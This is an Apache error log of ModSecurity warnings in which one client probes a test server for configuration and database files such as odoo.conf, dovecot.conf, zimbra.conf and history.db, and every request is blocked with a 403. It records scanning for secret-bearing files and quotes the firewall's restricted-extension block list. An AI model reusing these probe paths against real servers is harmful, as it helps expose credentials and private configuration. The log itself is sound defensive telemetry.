[Sun Mar 01 20:26:20.109297 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nanotech/sensor_settings.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hAAAAAc&quot;]
[Sun Mar 01 20:26:20.178516 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/netcoremail/config.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hwAAAAc&quot;]
[Sun Mar 01 20:26:20.179231 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/netcoremail/config.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hwAAAAc&quot;]
[Sun Mar 01 20:26:20.179454 2026] [:error] [pid 2408731] [client 185.177.72.30:9966] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/netcoremail/config.ini&quot;] [unique_id &quot;aaSS3HR69CYXzb6lY2m1hwAAAAc&quot;]
[Sun Mar 01 20:26:21.101007 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/odoo/odoo.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZGQAAAAs&quot;]
[Sun Mar 01 20:26:21.101506 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/odoo/odoo.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZGQAAAAs&quot;]
[Sun Mar 01 20:26:21.101664 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/odoo/odoo.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZGQAAAAs&quot;]
[Sun Mar 01 20:26:21.263367 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opcua/server.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZIAAAAAs&quot;]
[Sun Mar 01 20:26:21.264118 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opcua/server.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZIAAAAAs&quot;]
[Sun Mar 01 20:26:21.264358 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opcua/server.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZIAAAAAs&quot;]
[Sun Mar 01 20:26:21.380294 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/iredmail/iredmail.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJQAAAAs&quot;]
[Sun Mar 01 20:26:21.380836 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/iredmail/iredmail.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJQAAAAs&quot;]
[Sun Mar 01 20:26:21.381081 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/iredmail/iredmail.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJQAAAAs&quot;]
[Sun Mar 01 20:26:21.403468 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow/data/conf/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJgAAAAs&quot;]
[Sun Mar 01 20:26:21.404262 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow/data/conf/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJgAAAAs&quot;]
[Sun Mar 01 20:26:21.404527 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/mailcow/data/conf/dovecot/dovecot.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZJgAAAAs&quot;]
[Sun Mar 01 20:26:21.472464 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/zimbra/conf/zimbra.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKQAAAAs&quot;]
[Sun Mar 01 20:26:21.473009 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/zimbra/conf/zimbra.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKQAAAAs&quot;]
[Sun Mar 01 20:26:21.473188 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/opt/zimbra/conf/zimbra.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKQAAAAs&quot;]
[Sun Mar 01 20:26:21.518075 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oracle/cloud/smtp_gateway.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKwAAAAs&quot;]
[Sun Mar 01 20:26:21.518618 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oracle/cloud/smtp_gateway.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKwAAAAs&quot;]
[Sun Mar 01 20:26:21.518785 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/oracle/cloud/smtp_gateway.conf&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZKwAAAAs&quot;]
[Sun Mar 01 20:26:21.586846 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orders/history.db&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZLgAAAAs&quot;]
[Sun Mar 01 20:26:21.587386 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orders/history.db&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZLgAAAAs&quot;]
[Sun Mar 01 20:26:21.587552 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/orders/history.db&quot;] [unique_id &quot;aaSS3S6FxXVmoll0lknZLgAAAAs&quot;]
[Sun Mar 01 20:26:22.210006 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payments/multi_currency_rules.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZSQAAAAs&quot;]
[Sun Mar 01 20:26:22.210565 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payments/multi_currency_rules.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZSQAAAAs&quot;]
[Sun Mar 01 20:26:22.210735 2026] [:error] [pid 2409300] [client 185.177.72.30:35754] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payments/multi_currency_rules.ini&quot;] [unique_id &quot;aaSS3i6FxXVmoll0lknZSQAAAAs&quot;]
